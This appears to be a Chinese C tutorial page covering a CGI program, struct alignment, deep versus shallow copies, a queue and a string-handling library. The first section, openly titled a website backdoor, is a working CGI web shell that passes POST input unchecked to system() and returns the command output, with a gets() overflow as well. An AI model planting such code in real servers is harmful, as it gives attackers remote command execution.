网站以及后门
Windwos安装Apache服务器软件,进行测试。Localhost
将可执行程序xxx.exe改为xxx.cgi放到apache服务器上,通过浏览器进行访问。
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> void main() { printf("Content-type:text/html\n\n"); printf("%s<br><br>", getenv("QUERY_STRING"));//打印环境变量 char szPost[256] = {0}; gets(szPost);//获取输入 printf("%s<br><br>", szPost);//获取输入 //"BBB=tasklist&AAA=%C7%EB%BD%F8 char *p = szPost + 4;//0,1,2,3 char *p1 = strchr(szPost, '&'); *p1 = '\0'; char cmd[256] = { 0 }; sprintf(cmd, "%s >1.txt", p);//字符串映射 system(cmd); FILE *pf = fopen("1.txt", "r"); while (!feof(pf))//如果没有到文件末尾就继续 { char ch = fgetc(pf); if (ch == '\n') { printf("<br><br>");//换行 } else { putchar(ch);//打印字符 } } }
结构体对齐、结构体面试分析
#include<stdio.h> #include<stdlib.h> //最宽基本基本成员,char , int,double,结构体数组都不是最宽基本成员 //结构体大小必须可以整除最宽基本成员,是最宽基本成员的整数倍 //结构体成员地址减去结构体首地址,就是偏移量,偏移量必须可以整除成员的基本类型 struct info { char c;//1 2 4 8 double sh;//1 2 4 8 char ch[9];//9 10 12 16 }; struct info1 { short sh1; //8 4 //2 int sh; //8 4 //4 char ch[19]; //16 20 //19 }; void main2() { struct info1 info11 = {10,200,"123456"}; printf("%p\n", &info11); printf("%p\n", &info11.sh1); printf("%p\n", &info11.sh); printf("%p\n", &info11.ch); getchar(); } void main1() { printf("%d", sizeof(struct info1)); system("pause"); }
深拷贝与浅拷贝
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> struct string { char *p; int length; }; void main11() { struct string str1; str1.length = 10; str1.p =(char *) malloc(sizeof(char)* 10); strcpy(str1.p, "hello"); printf("\nstr1.p=%s", str1.p);//输出结果 struct string str2; str2.length = str1.length; str2.p = str1.p; *(str1.p) = 'k';//浅拷贝,共享内存 printf("\nstr2.p=%s", str2.p);//输出结果 system("pause"); } void main123() { struct string str1; str1.length = 10; str1.p = (char *)malloc(sizeof(char)* 10); strcpy(str1.p, "hello"); printf("\nstr1.p=%s", str1.p);//输出结果 struct string str2; str2.length = str1.length; str2.p =(char *) malloc(sizeof(char)* 10); strcpy(str2.p, str1.p);//拷贝内存内容 *(str1.p) = 'k'; //深拷贝是拷贝内存的内容, printf("\nstr2.p=%s", str2.p);//输出结果 system("pause"); }
队列
//队列.h
#include<stdio.h> #include<stdlib.h> #define N 100 //定义队列最大多少个 #define datatype char //定义队列的数据类型 struct queue { datatype data[N];//保存数据的数组 int front;//数据的开头 ,拉屎 int rear;//数据的结尾,吃进去 }; typedef struct queue Q;//给已经有的类型简化一下 void init(Q * myqueue);//初始化队列 int isempty(Q * myqueue);//判断是否为空,1代表为空,0代表不为空 void enQueue(Q * myqueue, datatype num);//入队,吃进去 datatype DeQueue(Q * myqueue);//出队,拉屎,返回值就是拉的 void printfQ(Q * myqueue);//打印队列所有的元素 datatype gethead(Q * myqueue);//获取开头的一个节点
//队列.c
#include"队列.h" void init(Q * myqueue)//初始化队列 { myqueue->front = myqueue->rear = 0;//表示为空 } int isempty(Q * myqueue)//判断为空 { if (myqueue->front == myqueue->rear) { return 1; } else { return 0; } } void enQueue(Q * myqueue, datatype num) { if (myqueue->rear == N) { printf("吃东西失败"); return ;//失败 } else { myqueue->data[myqueue->rear] = num;//赋值 myqueue->rear += 1;//增加一个 } } datatype DeQueue(Q * myqueue) //拉屎的过程 { if (myqueue->front == myqueue->rear) { printf("拉屎失败"); return -1; } else { myqueue->front += 1;//拉屎 return myqueue->data[myqueue->front - 1];//返回你拉的 } } void printfQ(Q * myqueue)//打印队列所有的元素 { printf("\n"); if (myqueue->front == myqueue->rear) { printf("\n你的肠胃为空"); } else { for (int i = myqueue->front; i < myqueue->rear;i++) { printf("%c ", myqueue->data[i]);//显示你的肠胃 } } } datatype gethead(Q * myqueue) { if (myqueue->front == myqueue->rear) { printf("\n肠胃为空,无法找到你要最先拉的屎"); return -1; } else { return myqueue->data[myqueue->front];//返回第一个节点 } }
//main.c
#include<stdio.h> #include<stdlib.h> #include"队列.h" void main() { Q Q1;//创建一个结构体变量 init(&Q1);//初始化 enQueue(&Q1, 'A'); printfQ(&Q1); enQueue(&Q1, 'B'); printfQ(&Q1); enQueue(&Q1, 'C'); printfQ(&Q1); enQueue(&Q1, 'D'); printfQ(&Q1); enQueue(&Q1, 'E'); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); system("pause"); }
字符串封装
//字符串.h
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> //字符串封装,需要库函数 //不需要库函数 struct CString { char *p;//保存字符串首地址 int reallength;//实际长度 }; typedef struct CString mystring;//简写 //字符串,初始化,打印, //查找,查找字符,查找字符串 //尾部增加,(字符,字符串) //删除(字符,字符串), //任意位置增加(字符,字符串) ////修改字符串,(字符,字符串替换) void init(mystring *string);//原封不动初始化 void initwithlength(mystring *string,int length);//开辟长度,内存清零 void initwithstring(mystring *string,char *copystring);//初始化并拷贝字符串 void printfstring(mystring *string); //打印 void backaddchar(mystring *string,char ch);//增加字符 void backaddstring(mystring *string,char*str);//增加字符串 void run(mystring *string);//执行指令 char * findfirstchar(mystring *string, char ch);//返回第一个找到的字符的地址 char * findfirststring(mystring *string, char *str);//返回第一个找到的字符串的地址 int deletefirstchar(mystring *string,const char ch);//删除第一个找到的字符 int deletefirststring(mystring *string, char * const str);//删除第一个找到的字符串 void addchar(mystring *string, char ch,char *pos);//任意增加字符 void addstring(mystring *string, char*str,char *pos);//任意增加字符串 void changefirstchar(mystring *string, const char oldchar, const newchar);//改变字符 void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改变字符串
//字符串.c
#include"字符串.h" int mystrlen(char *p) { if (p == NULL) { return -1;//失败, } int length = 0; while (*p != '\0')//字符串终止条件 { length++;//长度自增 p++;//指针不断向前 } return length; } char *mystrcpy(char *dest, const char *source)//const限定不被意外修改 { if (dest == NULL || source == NULL) { return NULL;//为空没有必要干活了 } char * destbak = dest; while (*source != '\0')//一直拷贝 { *dest = *source;//赋值字符 source++; dest++;//指针不断向前,字符挨个赋值 } *dest = '\0';//结尾 return destbak;//返回地址 } char *mystrcat(char *dest, const char *source) { if (dest == NULL || source == NULL) { return NULL;//失败 } else { char *destbak = dest;//保留地址 while (*dest != '\0') { dest++;//指针向前移动 } //从尾部开始拷贝 while (*source != '\0') //循环被被拷贝的字符串 { *dest = *source;//字符串赋值 dest++; source++; } *dest = '\0';//结尾 return destbak; } } char * mystrchr(const char *dest, const char ch) { if (dest == NULL) { return NULL; } while (*dest!='\0') { if (*dest == ch) { return dest;//找到返回地址 } dest++; } return NULL;//返回 } char *mystrstr(const char * const dest, const char * const findstr) { if (dest == NULL || findstr == NULL) { return NULL; } char *destbak = dest; char *p = NULL;//保存找到的地址 while (*destbak != '\0') { int flag = 1;//假定是相等 char *findstrbak = findstr; char *nowdestbak = destbak; while (*findstrbak != '\0') { if (*nowdestbak != '\0') { if (*findstrbak != *nowdestbak)//有一个不等 { flag = 0;//赋值为0代表不等 } nowdestbak++; findstrbak++; } else { flag = 0;//设置标识 break; } } if (flag == 1) { p = destbak;//当前位置 return p; } destbak++; } return NULL; } void init(mystring *string) { string->p = NULL; string->reallength = 0;//初始化结构体字符串 } void initwithlength(mystring *string, int length) { //string->p =(char *) malloc(sizeof(char)*length);//分配内存 string->p = (char *)calloc(length, sizeof(char));//分配内存并清零 string->reallength = length;//长度 } void initwithstring(mystring *string, char *copystring) { int length = strlen(copystring);//获取字符串长度 string->p =(char *) calloc(length + 1, sizeof(char));//分配内存 mystrcpy(string->p, copystring);//拷贝字符串 string->reallength = length + 1;//设置长度 } void backaddchar(mystring *string,char ch) { if (mystrlen(string->p)+1==string->reallength)//意味着满了 { //重新分配内存 string->p = realloc(string->p, string->reallength + 1); string->reallength += 1; string->p[string->reallength - 2] = ch; string->p[string->reallength - 1] = '\0'; } else { int nowlength = mystrlen(string->p);//求出当前长度 string->p[nowlength] = ch; string->p[nowlength + 1] = '\0';//字符的增加 } } void backaddstring(mystring *string, char*str) { int nowmystringlength = mystrlen(string->p);//获取当前长度 int addstringlength = mystrlen(str);//要增加的长度 if (nowmystringlength + addstringlength+1 >string->reallength)//判定是否越界 { int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength); //printf("%d", needaddlength); string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度 mystrcat(string->p, str);//拷贝字符串 string->reallength += needaddlength;//增加长度 } else { mystrcat(string->p, str);//拷贝字符串 } } void printfstring(mystring *string) { printf("\nstring=%s", string->p);//打印字符串 } void run(mystring *string) { system(string->p);//执行指令 } char * findfirstchar(mystring *string, char ch) { char *p = mystrchr(string->p, ch);//查找 return p; } char * findfirststring(mystring *string, char *str) { char *pres = mystrstr(string->p, str); return pres;//返回地址 } int deletefirstchar(mystring *string, const char ch) { char *p = mystrchr(string->p, ch);//查找 if (p == NULL) { return 0; } else { char *pnext = p + 1; while (*pnext != '\0') { *p = *pnext; //删除一个字符整体向前移动 p++; pnext++; } *p = '\0';//字符串要有结尾 return 1; } } int deletefirststring(mystring *string, char * const str) { char *pres = mystrstr(string->p, str);//查找 if (pres == NULL) { return 0; } else { int length = mystrlen(str);//求字符串长度 char *pnext = pres + length;//下一个字符 while (*pnext != '\0') { *pres = *pnext; //删除一个字符整体向前移动 pres++; pnext++; } *pres = '\0';//字符串要有结尾 return 1; } } void addchar(mystring *string, char ch, char *pos) { if (pos == NULL || string ==NULL) { return; } if(mystrlen(string->p) + 1 == string->reallength)//意味着满了 { //重新分配内存 string->p = realloc(string->p, string->reallength + 1); string->reallength += 1; int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 for (int i = nowlength; i > nowlength - movelength; i--)//移动 { string->p[i] = string->p[i - 1];//轮询 } string->p[nowlength - movelength] = ch;//插入 string->p[nowlength + 1] = '\0';//结尾 } else { int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 for (int i = nowlength; i > nowlength-movelength; i--)//移动 { string->p[i] = string->p[i - 1];//轮询 } string->p[nowlength - movelength]=ch;//插入 string->p[nowlength + 1] = '\0';//结尾 } } void addstring(mystring *string, char*str, char *pos)//任意增加字符串 { if (pos == NULL || string == NULL) { return; } int nowmystringlength = mystrlen(string->p);//获取当前长度 int addstringlength = mystrlen(str);//要增加的长度 if (nowmystringlength + addstringlength + 1 >string->reallength)//判定是否越界 { int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength); //printf("%d", needaddlength); string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度 string->reallength += needaddlength;//增加长度 //先移动,再拷贝 int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 int insertlength = strlen(str);//要求出插入的长度 for (int i = nowlength; i >=nowlength-movelength ; i--) { string->p[i + insertlength]=string->p[i];//字符移动 } for (int j = 0; j < insertlength;j++) { string->p[nowlength-movelength+j]= str[j];//赋值拷贝 } } else { int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 int insertlength = strlen(str);//要求出插入的长度 for (int i = nowlength; i >= nowlength - movelength; i--) { string->p[i + insertlength] = string->p[i];//字符移动 } for (int j = 0; j < insertlength; j++) { string->p[nowlength - movelength + j] = str[j];//赋值拷贝 } } } void changefirstchar(mystring *string, const char oldchar, const newchar)//改变字符 { char *pstr = string->p; while (*pstr != '\0') { if (*pstr == oldchar)//查找 { *pstr = newchar;//赋值 return; } pstr++; } } void changefirststring(mystring *string, char * const oldstring, char *const newstring)//改变字符串 { char *pfind = findfirststring(string, oldstring);//找到位置 if (pfind != NULL) { deletefirststring(string, oldstring);//删除 addstring(string, newstring, pfind);//插入 } }
//main.c
#include<stdio.h> #include<stdlib.h> #include"字符串.h" void main() { mystring string1; initwithstring(&string1, "note"); printfstring(&string1); //backaddchar(&string1, 'd'); backaddstring(&string1, "padnotepadnotepad"); printfstring(&string1); while (findfirststring(&string1,"notepad")) { changefirststring(&string1, "notepad", "123456789"); } //char *p = findfirstchar(&string1, 't'); //if (p != NULL) //{ // addstring(&string1, "12345", p); //} //deletefirstchar(&string1, 'e'); //deletefirststring(&string1, "pad"); //char *strp = findfirstchar(&string1, 'a'); //*strp = 'A'; /*char *strp = findfirststring(&string1, "ada"); if (strp != NULL) { *strp = 'X'; }*/ printfstring(&string1); //run(&string1); system("pause"); }